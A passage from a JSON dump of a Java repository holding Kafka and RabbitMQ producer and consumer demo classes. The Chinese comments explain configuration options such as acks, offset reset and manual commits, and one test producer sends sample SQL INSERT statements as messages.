KafkaConsumerTest(\"KAFKA_TEST2\");\n\t\tThread thread1 = new Thread(test1);\n\t\tthread1.start();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test2/KafkaProducerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test2;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\n\n/**\n * \n* Title: KafkaProducerTest\n* Description: \n* kafka 生产者demo\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月26日\n */\npublic class KafkaProducerTest implements Runnable {\n\n\tprivate final KafkaProducer<String, String> producer;\n\tprivate final String topic;\n\n\t\n\tpublic KafkaProducerTest(String topicName) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\t//acks=0：如果设置为0，生产者不会等待kafka的响应。\n\t\t//acks=1：这个配置意味着kafka会把这条消息写到本地日志文件中，但是不会等待集群中其他机器的成功响应。\n\t\t//acks=all：这个配置意味着leader会等待所有的follower同步完成。这个确保消息不会丢失，除非kafka集群中所有机器挂掉。这是最强的可用性保证。\n\t\tprops.put(\"acks\", \"all\");\n\t\t//配置为大于0的值的话，客户端会在消息发送失败时重新发送。\n\t\tprops.put(\"retries\", 0);\n\t\t//当多条消息需要发送到同一个分区时，生产者会尝试合并网络请求。这会提高client和生产者的效率\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\tthis.producer = new KafkaProducer<String, String>(props);\n\t\tthis.topic = topicName;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tint messageNo = 1;\n\t\ttry {\n\t\t\tfor(;;) {\n\t\t\t\tString messageStr=\"你好，这是第\"+messageNo+\"条数据\";\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\", messageStr));\n\t\t\t\t//生产了10条就打印\n\t\t\t\tif(messageNo%10==0){\n\t\t\t\t\tSystem.out.println(\"发送的信息:\" + messageStr);\n\t\t\t\t}\n\t\t\t\t//生产100条就退出\n\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\tSystem.out.println(\"成功发送了\"+messageNo+\"条\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tmessageNo++;\n//\t\t\t\tUtils.sleep(1);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tproducer.close();\n\t\t}\n\t}\n\t\n\tpublic static void main(String args[]) {\n\t\tKafkaProducerTest test = new KafkaProducerTest(\"KAFKA_TEST2\");\n\t\tThread thread = new Thread(test);\n\t\tthread.start();\n\t}\n\t\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test2/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * kafka消费者\n * Version:1.0.0  \n * @author pancm\n * @date 2018年2月9日\n */\npackage com.jun.plugin.mq.kafka.test2;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test3/KafkaConsumerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test3;\n\nimport java.util.Arrays;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\n\n/**\n * \n* Title: KafkaConsumerTest\n* Description:\n*  kafka消费者 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月29日\n */\npublic class KafkaConsumerTest extends Thread {\n\n\tprivate final KafkaConsumer<String, String> consumer;\n\tprivate ConsumerRecords<String, String> msgList;\n\tprivate final String topic;\n\tprivate static final String GROUPID = \"groupA1\";\n\tprivate final String servers=\"master:9092,slave1:9092,slave2:9092\";\n\t\n\tpublic KafkaConsumerTest(String topicName) {\n\t\tProperties props = new Properties();\n\t\t//kafka消费的的地址\n\t\tprops.put(\"bootstrap.servers\", servers);\n\t\t//组名 不同组名可以重复消费\n\t\tprops.put(\"group.id\", GROUPID);\n\t\t//是否自动提交\n\t\tprops.put(\"enable.auto.commit\", \"false\");\n\t\t//从poll(拉)的回话处理时长\n\t\tprops.put(\"auto.commit.interval.ms\", \"1000\");\n\t\t//超时时间\n\t\tprops.put(\"session.timeout.ms\", \"30000\");\n\t\tprops.put(\"max.poll.records\", \"1000\");\n//\t\tearliest当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，从头开始消费 \n//\t\tlatest \n//\t\t当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，消费新产生的该分区下的数据 \n//\t\tnone \n//\t\ttopic各分区都存在已提交的offset时，从offset后开始消费；只要有一个分区不存在已提交的offset，则抛出异常\n\t\tprops.put(\"auto.offset.reset\", \"earliest\");\n\t\t//序列化\n\t\tprops.put(\"key.deserializer\", StringDeserializer.class.getName());\n\t\tprops.put(\"value.deserializer\", StringDeserializer.class.getName());\n\t\tthis.consumer = new KafkaConsumer<String, String>(props);\n\t\tthis.topic = topicName;\n\t\t//订阅者主题\n\t\tthis.consumer.subscribe(Arrays.asList(topic));\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\t\n\t\tint messageNo = 0;\n\t\tSystem.out.println(\"---------开始消费---------\");\n\t\ttry {\n\t\t\tfor (;;) {\n\t\t\t\t\tmsgList = consumer.poll(100);\n\t\t\t\t\tif(null!=msgList&&msgList.count()>0){\n//\t\t\t\t\t\tSystem.out.println(\"msgList:\"+msgList.count());\n\t\t\t\t\tfor (ConsumerRecord<String, String> record : msgList) {\n\t\t\t\t\t\t//消费100条就打印 ,但打印的数据不一定是这个规律的\n\t\t\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\t\t\tSystem.out.println(topic+\"     \"+ \"=======receive: key = \" + record.key() + \", value = \" + record.value()+\" offset===\"+record.offset());\n//\t\t\t\t\t\t\tconsumer.commitAsync();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n//\t\t\t\t\t\tif(messageNo==101){\n//\t\t\t\t\t\t\tSystem.out.println(\"=======receive: key = \" + record.key() + \", value = \" + record.value()+\" offset===\"+record.offset());\n//\t\t\t\t\t\t\tbreak;\n//\t\t\t\t\t\t}\n//\t\t\t\t\t\t//当消费了1000条就退出\n//\t\t\t\t\t\tif(messageNo%1000==0){\n//\t\t\t\t\t\t\tbreak;\n//\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tmessageNo++;\n\t\t\t\t}else{\t\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t\tSystem.out.println(\"休眠中...\");\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tconsumer.close();\n\t\t}\n\t}\n   \n\tpublic static void main(String args[]) {\n\t\tKafkaConsumerTest test1 = new KafkaConsumerTest(\"TEST_INSERT\");\n\t\tKafkaConsumerTest test2 = new KafkaConsumerTest(\"1001_INSERT\");\n\t\tKafkaConsumerTest test3 = new KafkaConsumerTest(\"1002_INSERT\");\n\t\tThread thread1 = new Thread(test1);\n\t\tThread thread2 = new Thread(test2);\n\t\tThread thread3 = new Thread(test3);\n\t\tthread1.start();\n//\t\tthread2.start();\n//\t\tthread3.start();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test3/KafkaConsumerTest3.java",
    "content": "package com.jun.plugin.mq.kafka.test3;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.TopicPartition;\nimport org.apache.kafka.common.serialization.StringDeserializer;\n\n\n/**\n * \n* Title: KafkaConsumerTest\n* Description: \n* kafka消费者 demo\n* 手动提交测试 指定分区和offset\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月26日\n */\npublic class KafkaConsumerTest3 implements Runnable {\n\n\tprivate KafkaConsumer<String, String> consumer;\n\tprivate ConsumerRecords<String, String> msgList;\n\tprivate  String topic;\n\tprivate static final String GROUPID = \"groupF\";\n\t\n\t/**用于存放 分区所对应的offset */\n\tprivate  ConcurrentHashMap<Integer, Long> map=new ConcurrentHashMap<Integer, Long>();\n\t\n\t/**分区编号 */\n\tprivate  int partId=0;\n\t/**分区个数 */\n\tprivate  int partSize=1;\n\tprivate  long offset=-1L;\n\t\n\t/**初始化标志*/\n    private boolean flag = true;\n\t\n\tpublic KafkaConsumerTest3(String topicName) {\n\t\tthis.topic = topicName;\n\t\tinit();\n\t}\n\t\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(\"---------开始消费---------\");\n\t\tint messageNo = 1;\n\t\tList<String> list=new ArrayList<String>();\n\t\tList<Long> list2=new ArrayList<Long>();\n\t\tTopicPartition p = new TopicPartition(topic,0);\n\t\tconsumer.assign(Arrays.asList(p));\n\t\t//指定分区和offset进行消费\n\t\tconsumer.seek(p, 0);\n\t\ttry {\n\t\t\tfor (;;) {\n\t\t\t\t\t msgList = consumer.poll(100);\n\t\t\t\t\tif(null!=msgList&&msgList.count()>0){\n\t\t\t\t\tint tmpPartId=0; \n\t\t\t\t\tfor (ConsumerRecord<String, String> record : msgList) {\n\t\t\t\t\t\tif(messageNo%10==0){\n\t\t\t\t\t\t\tSystem.out.println(messageNo+\"=======receive: partId =\"+tmpPartId +\", key = \" + record.key() + \", value = \" + record.value()+\" offset===\"+record.offset());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t  // 手动提交\n//\t\t\t\t\t   consumer.commitSync();\n\t\t\t\t}else{\t\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t\tSystem.out.println(\"...\");\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tconsumer.close();\n\t\t}\n\t}\n\t\n\tprivate void saveOffset(int partId,long offset) {\n\t\t map.put(partId, offset);\n\t}\n\t\n\t\n\tprivate long getOffset(int partId) {\n\t\treturn map.containsKey(partId)?map.get(partId):offset;\n\t}\n\t\n\tprivate void init() {\n\t\tProperties props = new Properties();\n\t\t//kafka消费的的地址\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\t//组名 不同组名可以重复消费\n\t\tprops.put(\"group.id\", GROUPID);\n\t\t//是否自动提交\n\t\tprops.put(\"enable.auto.commit\", \"false\");\n\t\t//超时时间\n\t\tprops.put(\"session.timeout.ms\", \"30000\");\n\t\t//一次最大拉取的条数\n\t\tprops.put(\"max.poll.records\", 10);\n//\t\tearliest当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，从头开始消费 \n//\t\tlatest \n//\t\t当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，消费新产生的该分区下的数据 \n//\t\tnone \n//\t\ttopic各分区都存在已提交的offset时，从offset后开始消费；只要有一个分区不存在已提交的offset，则抛出异常\n\t\tprops.put(\"auto.offset.reset\", \"earliest\");\n\t\t//序列化\n\t\tprops.put(\"key.deserializer\", StringDeserializer.class.getName());\n\t\tprops.put(\"value.deserializer\", StringDeserializer.class.getName());\n\t\tthis.consumer = new KafkaConsumer<String, String>(props);\n\t\t//订阅主题列表topic\n//\t\tthis.consumer.subscribe(Arrays.asList(topic));\n\t\t\n\t\tif(consumer.partitionsFor(topic)!=null){\n\t\t\tthis.partSize = consumer.partitionsFor(topic).size();\n        }\n\t\t\n\t\tSystem.out.println(\"初始化!\");\n\t}\n\t\n\t\n   \n\tpublic static void main(String args[]) {\n\t\tKafkaConsumerTest3 test1 = new KafkaConsumerTest3(\"TEST_INSERT\");\n\t\tThread thread1 = new Thread(test1);\n\t\tthread1.start();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test3/KafkaProducerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test3;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\nimport com.alibaba.fastjson.JSONObject;\n\n/**\n * \n* Title: KafkaProducerTest\n* Description: kafka生产者的消息测试\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月9日\n */\npublic class KafkaProducerTest implements Runnable {\n\n\tprivate final KafkaProducer<String, String> producer;\n\tprivate final String topic;\n\tprivate int k=10;\n   private final String servers=\"master:9092,slave1:9092,slave2:9092\";\n\t/**\n\t * @param topic 消息名称\n\t * @param\n\t */\n\tpublic KafkaProducerTest(String topicName) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", servers);\n\t\t//acks=0：如果设置为0，生产者不会等待kafka的响应。\n\t\t//acks=1：这个配置意味着kafka会把这条消息写到本地日志文件中，但是不会等待集群中其他机器的成功响应。\n\t\t//acks=all：这个配置意味着leader会等待所有的follower同步完成。这个确保消息不会丢失，除非kafka集群中所有机器挂掉。这是最强的可用性保证。\n\t\tprops.put(\"acks\", \"all\");\n\t\t//配置为大于0的值的话，客户端会在消息发送失败时重新发送。\n\t\tprops.put(\"retries\", 0);\n\t\t//当多条消息需要发送到同一个分区时，生产者会尝试合并网络请求。这会提高client和生产者的效率\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"linger.ms\", 1);\n\t\tprops.put(\"buffer.memory\", 33554432);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\tthis.producer = new KafkaProducer<String, String>(props);\n\t\tthis.topic = topicName;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tint messageNo = 0;\n\t\tlong k=0L;\n\t\ttry {\n\t\t\twhile (true) {\n\t\t\t\tJSONObject json=new JSONObject();\n\t\t\t\tk=239386111508899430L+messageNo;\n\t\t\t\tString messageStr=\"INSERT INTO   MT_TASK_HH  ( ECID , PTMSGID ,  USERID ,  DTTYPE ,  \"\n\t\t\t\t\t\t+ \"MSGTYPE ,  USERUID ,  SPMSGID ,  ERRORCODE ,  RECVMTTIME ,  SENDTIME ,  RECVTIME ,  \"\n\t\t\t\t\t\t+ \"PHONE ,  SPGATESEND ,  SPNUMBER ,  MOBILEAREA ,  MOBILETYPE ,  MOBILECOUNTRY ,  \"\n\t\t\t\t\t\t+ \"NEXTGATETYPE ,  GATEIDBIND ,  SPGATEBIND ,  CPNOBIND ,  CPNO ,  ORDERCPNO ,  PROTYPE ,  \"\n\t\t\t\t\t\t+ \"RCHGTYPE ,  SVRTYPE ,  FEEFLAG ,  RETFLAG ,  PASSTHROUGH ,  JTYPE ,  SENDSTATUS ,  \"\n\t\t\t\t\t\t+ \"SENDLEVEL ,  SENDRESULT ,  RESENDCNT ,  TPUDHI ,  TPPID ,  PKTOTAL ,  PKNUMBER ,  MSGFMT ,\"\n\t\t\t\t\t\t+ \"  LONGMSGSEQ ,  SENDERRCODE ,  GATEIDSEND ,  SPID ,  PACKNUM ,  PACKPOS ,  NETERRCNT , \"\n\t\t\t\t\t\t+ \" ERRRESENDCNT ,  ERRORCODE2 ,  RPTEXFLAG ,  SENDFLAG ,  SUPPSNDCNT ,  SENDRPTTIME ,  \"\n\t\t\t\t\t\t+ \"TRANSMTTIME ,  MTSUBMITTIME ,  TRANSRPTTIME ,  MTSENDTIME ,  SUBMITTIME ,  DONETIME , \"\n\t\t\t\t\t\t+ \" PUSHRPTTIME ,  PRETRANSMTTM ,  ENDTRANSRPTTM ,  SUBMITDATE ,  DONEDATE ,  JPTCODE ,  \"\n\t\t\t\t\t\t+ \"PTCODE ,  LOGINUID ,  DESTUID ,  USERMSGID ,  SUPPMSGID ,  PREGATENO ,  LOCALGATENO , \"\n\t\t\t\t\t\t+ \" NEXTGATENO ,  SRCGATENO ,  NETWORKCODE ,  NETWORKID ,  CHARGETYPE ,  PRICE ,  CUSTID , \"\n\t\t\t\t\t\t+ \" USEREXDATA ,  USERSVRTYPE ,  SEQID ,  AGENTLOGINUID ,  MSGSRCIP ,  TMPLID ,  SPTMPLID ,\"\n\t\t\t\t\t\t+ \"  MSGTYPE1 ,  ACCTTYPE ,  PTRCHGID ,  CHARGOBJ ,  CHGRADE ,  VALIDTM ,  ERRORCODE3 , \"\n\t\t\t\t\t\t+ \" ERRORCODE4 ,  FIRSTDOWNTM ,  ENDDOWNTM ,  RDNRPTOKTM ,  RDNTRANSRPTTM ,  RECVRDNRPTTM , \"\n\t\t\t\t\t\t+ \" MESSAGE ) VALUES ('101034', '\"+k+\"', 'qian01', '1', '1', \"\n\t\t\t\t\t\t+ \"'100032', '2393861115088994305', 'DELIVRD', '2018-02-02 14:11:16', \"\n\t\t\t\t\t\t+ \"'2018-02-02 14:09:49', '2018-02-02 14:09:49', '13475676880', '2017022701', \"\n\t\t\t\t\t\t+ \"'20170227011', '30', '0', '86', '0', '901', '2017022701', '1', '', '', '0', \"\n\t\t\t\t\t\t+ \"'1', '', '2', '1', '0', '0', '0', '3', '0', '0', '0', '0', '1', '1', '0', '0', '0', \"\n\t\t\t\t\t\t+ \"'901', 'qianzi', '1', '1', '0', '0', 'DELIVRD', '0', '0', '0', '2018-02-02 14:11:16', \"\n\t\t\t\t\t\t+ \"'2018-02-02 14:09:49', '2018-02-02 14:09:49', '2018-02-02 14:11:16', \"\n\t\t\t\t\t\t+ \"'2018-02-02 14:09:49', '2018-02-02 14:11:49', '2018-02-02 14:11:49', \"\n\t\t\t\t\t\t+ \"'2018-02-02 14:11:16', '2018-02-02 14:11:16', '2018-02-02 14:09:49', '1802021411', \"\n\t\t\t\t\t\t+ \"'1802021411', '1050973', '16', '105692', '104473', '0', '0', '0', '2397', '0', '0', \"\n\t\t\t\t\t\t+ \"'0', '0', '0', '0.000000', '', '', '', '128', '105692', '192.169.1.32:2232', '0', '',\"\n\t\t\t\t\t\t+ \" '0', '0', '0', '0', '0', '4', '', '', '2000-01-01 00:00:00', '2000-01-01 00:00:00', \"\n\t\t\t\t\t\t+ \"'2000-01-01 00:00:00', '2000-01-01 00:00:00', '2000-01-01 00:00:00', 'AGEAcwBkAGEAcwBkAGEAcwBkAGEAcwBkAGEAcwBkAFsAbwBlAGUAcgBd');\";\n\t\t\t\t\n//\t\t\t\tString messageStr=\"222222222222222222222222222222222222222222222222222222222222222222\";\n\t\t\t\tjson.put(\"SQL\", messageStr);\n\t\t\t\tjson.put(\"TIME\", System.currentTimeMillis());\n\t\t\t\tjson.put(\"PTMSGID\", messageNo);\n\t\t\t\t\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\"+messageNo, json.toJSONString()));\n\t\t\t\tmessageNo++;\n\t\t\t\t//生产了100条就打印\n\t\t\t\tif(messageNo%10000==0){\n//\t\t\t\t\tSystem.out.println(\"Send:\" + messageStr);\n\t\t\t\t}\n\t\t\t\t//生产100条就退出\n\t\t\t\tif(messageNo%500000==0){\n\t\t\t\t\tSystem.out.println(topic+\"成功发送了\"+messageNo+\"条\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n//\t\t\t\tUtils.sleep(1);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tproducer.close();\n\t\t}\n\t}\n\t\n\tpublic static void main(String args[]) {\n\t\tKafkaProducerTest test = new KafkaProducerTest(\"1002_INSERT\");\n\t\tKafkaProducerTest test1 = new KafkaProducerTest(\"1005_INSERT\");\n\t\tKafkaProducerTest test2 = new KafkaProducerTest(\"1001_INSERT\");\n\t\tKafkaProducerTest testd = new KafkaProducerTest(\"TEST_INSERT1\");\n\t\tThread thread = new Thread(test);\n\t\tThread thread1 = new Thread(test1);\n\t\tThread thread2 = new Thread(test2);\n\t\tThread threadD = new Thread(testd);\n\t\tthread.start();\n//\t\tUtils.sleep(100);\n//\t\tthread1.start();\n//\t\tUtils.sleep(100);\n//\t\tthread2.start();\n//\t\tthreadD.start();\n\t}\n\t\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test3/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2018年3月15日\n */\npackage com.jun.plugin.mq.kafka.test3;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 消息中间件的一些类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.mq;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/demo/C.java",
    "content": "package com.jun.plugin.mq.rabbitmq.demo;\n\nimport java.io.IOException;\n\nimport com.rabbitmq.client.AMQP;\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.Consumer;\nimport com.rabbitmq.client.DefaultConsumer;\nimport com.rabbitmq.client.Envelope;\n\n\n//消费者 \npublic class C {\n\t\n\tprivate final static String QUEUE_NAME = \"RabbitMQ_Hello\"; //消息队列名\n\n\tpublic static void main(String[] argv) throws Exception {\n\t\t// 创建连接工厂\n\t\tConnectionFactory factory = new ConnectionFactory();\n//\t\t设置RabbitMQ地址\n\t\tfactory.setHost(\"127.0.0.1\");\n//\t\t创建一个新的连接\n\t\tConnection connection = factory.newConnection();\n//\t\t创建一个频道\n\t\tChannel channel = connection.createChannel();\n//\t\t声明要关注的队列 -- 在RabbitMQ中，队列声明是幂等性的（一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同），也就是说，如果不存在，就创建，如果存在，不会对已经存在的队列产生任何影响。\n\t\tchannel.queueDeclare(QUEUE_NAME, false, false, false, null);\n\t\tSystem.out.println(\"C [*] Waiting for messages. To exit press CTRL+C\");\n//\t\tDefaultConsumer类实现了Consumer接口，通过传入一个频道，告诉服务器我们需要那个频道的消息，如果频道中有消息，就会执行回调函数handleDelivery\n\t\tConsumer consumer = new DefaultConsumer(channel) {\n\t\t\t@Override\n\t\t\tpublic void handleDelivery(String consumerTag, Envelope envelope, AMQP.BasicProperties properties, byte[] body) throws IOException {\n\t\t\t\tString message = new String(body, \"UTF-8\");\n\t\t\t\tSystem.out.println(\"C [x] Received '\" + message + \"'\");\n\t\t\t}\n\t\t};\n//\t\t自动回复队列应答 -- RabbitMQ中的消息确认机制\n\t\tchannel.basicConsume(QUEUE_NAME, true, consumer);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/demo/RabbitConsumer.java",
    "content": "package com.jun.plugin.mq.rabbitmq.demo;\n\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.QueueingConsumer;\n\n//消费者 \npublic class RabbitConsumer {\n  \n  private final static String QUEUE_NAME = \"RabbitMQ_Hello\"; //消息队列名\n\n  public static void main(String[] argv) throws Exception {\n\n\t    ConnectionFactory factory = new ConnectionFactory();\n\t    factory.setHost(\"127.0.0.1\");\n\t   // 打开连接和创建频道，与发送端一样  \n\t    Connection connection = factory.newConnection();\n\t    Channel channel = connection.createChannel();\n\t // 声明队列，主要为了防止消息接收者先运行此程序，队列还不存在时创建队列。  \n\t    channel.queueDeclare(QUEUE_NAME, false, false, false, null);\n\t    System.out.println(\" [*] Waiting for messages. To exit press CTRL+C\");\n\t  // 创建队列消费者  \n\t    QueueingConsumer consumer = new QueueingConsumer(channel);\n\t    // 指定消费队列\n\t    channel.basicConsume(QUEUE_NAME, true, consumer);\n\t    while (true) {  //消费者程序运行开着 如果生产者新增了数据会自动获取\n\t      Thread.sleep(500);\n\t    \t // nextDelivery是一个阻塞方法（内部实现其实是阻塞队列的take方法）  \n\t      QueueingConsumer.Delivery delivery = consumer.nextDelivery();\n\t      String message = new String(delivery.getBody());\n\t      System.out.println(\"'[x] Received '\" + message );\n  }   \n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/demo/RabbitProducer.java",
    "content": "package com.jun.plugin.mq.rabbitmq.demo;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.alibaba.fastjson.JSON;\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\n\n//生产者\npublic class RabbitProducer {\n\tprivate final static String QUEUE_NAME = \"RabbitMQ_Hello\"; //消息队列名\n\n\t  public static void main(String[] argv) throws Exception {\n\t     //创建连接连接到RabbitMQ \n\t    ConnectionFactory factory = new ConnectionFactory();\n\t    // 设置ip\n\t    factory.setHost(\"127.0.0.1\");\n\t    /*   //设置端口\n\t    factory.setPort(15672);\n\t    //设置用户名\n\t    factory.setUsername(\"guest\");\n\t    //设置密码\n\t    factory.setPassword(\"guest\");\n\t   //设置url(包括ip、端口、用户名、密码)\n\t    factory.setUri(\"amqp://guest:guest@localhost:15672\");\n\t  */\t\n\t    // 创建一个连接  \n\t    Connection connection = factory.newConnection();\n\t    // 创建一个频道 \n\t    Channel channel = connection.createChannel();\n\t    // 指定一个队列  \n\t    channel.queueDeclare(QUEUE_NAME, false, false, false, null);\n\t    Map<String,Object> map=new HashMap<String,Object>();  \n\t      map.put(\"java\", \"hello\");\n\t      map.put(\"RabbitMQ\", \"Hello\");\n\t    //发送的消息\n\t    String message = JSON.toJSONString(map); \n\t    // 往队列中发出一条消息 \n\t    channel.basicPublish(\"\", QUEUE_NAME, null, message.getBytes()); \n\t    System.out.println(\" [x] Sent '\" + message + \"'\");\n\t    // 关闭频道和连接  \n\t    channel.close();\n\t    connection.close();   \n\t  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2more/NewTask.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2more;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.MessageProperties;\n\n//生产者    ( Producer:数据的发送方)\n//单发送多接收 Worker.java和NewTask.java\npublic class NewTask {\n\n\tprivate static final String TASK_QUEUE_NAME = \"task_queue\";\n\n\tpublic static void main(String[] argv) throws Exception {\n\t\t// 创建工厂类\n\t\tConnectionFactory factory = new ConnectionFactory();\n\t\t//factory.setHost(\"localhost\");\n\t\tfactory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");\n\t\tConnection connection = factory.newConnection();\n\t\tChannel channel = connection.createChannel();\n\n\t\tchannel.queueDeclare(TASK_QUEUE_NAME, true, false, false, null);\n\t\t Map map=new HashMap();  \n         map.put(\"aa\", 11);\n         map.put(\"bb\", 22);\n         map.put(\"cc\", 33);\n\t\tString message = getMessage(argv);\n\n\t\tchannel.basicPublish(\"\", TASK_QUEUE_NAME,\n\t\t\t\tMessageProperties.PERSISTENT_TEXT_PLAIN, message.getBytes());\n\t\tSystem.out.println(\" [x] Sent '\" + message + \"'\");\n\n\t\tchannel.close();\n\t\tconnection.close();\n\t}\n\n\tprivate static String getMessage(String[] strings) {\n\t\tif (strings.length < 1) {\n\t\t\treturn \"Hello!\";\n\t\t}\n\t\treturn joinStrings(strings, \" \");\n\t}\n\n\tprivate static String joinStrings(String[] strings, String delimiter) {\n\t\tint length = strings.length;\n\t\tif (length == 0) {\n\t\t\treturn \"\";\n\t\t}\n\t\tStringBuilder words = new StringBuilder(strings[0]);\n\t\tfor (int i = 1; i < length; i++) {\n\t\t\twords.append(delimiter).append(strings[i]);\n\t\t}\n\t\treturn words.toString();\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2more/Worker.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2more;\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.QueueingConsumer;\n  //消费者 (Consumer:数据的接收方)\n //单发送多接收  Worker.java和NewTask.java\npublic class Worker {\n\n  private static final String TASK_QUEUE_NAME = \"task_queue\";\n//  private static final String TASK_QUEUE_NAME = \"tsk.hybris.productbrand.tsk\";\n\n  public static void main(String[] argv) throws Exception {\n\n    ConnectionFactory factory = new ConnectionFactory();\n    //factory.setHost(\"localhost\");\n  \tfactory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");\n    Connection connection = factory.newConnection();\n    Channel channel = connection.createChannel();\n    \n    channel.queueDeclare(TASK_QUEUE_NAME, true, false, false, null);//queue的持久化需要在声明时指定durable=True\n    System.out.println(\" [*] Waiting for messages. To exit press CTRL+C\");\n    //保证在接收端一个消息没有处理完时不会接收另一个消息\n   channel.basicQos(1);\n  //  channel.basicQos(0, 1, false); 